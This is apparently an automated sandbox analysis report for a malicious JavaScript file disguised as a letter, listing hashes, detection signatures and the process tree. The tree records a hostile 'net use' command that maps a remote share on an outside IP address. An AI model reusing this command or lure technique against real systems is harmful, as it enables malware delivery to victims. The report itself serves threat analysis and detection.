Analysis

  • max time kernel
    1685s
  • max time network
    1752s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/02/2024, 01:03

General

  • Target
    Letter_y50_70c450058-02a73934b0046-0399b2.js
  • Size 732KB
  • Sample240223-becfwahf57
  • SHA256 285248be52ad6d59a7250c048c91a3cf31adf3a6b9d1967de595e4545e34323d
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Runs net.exe

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Letter_y50_70c450058-02a73934b0046-0399b2.js
    1⤵
      PID:396
    • C:\Windows\system32\net.exe
      net use A: \\178.23.190.199@80\share\ /persistent:no
      1⤵
      • Process spawned unexpected child process
      PID:2780

    Network

          MITRE ATT&CK Matrix

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          Downloads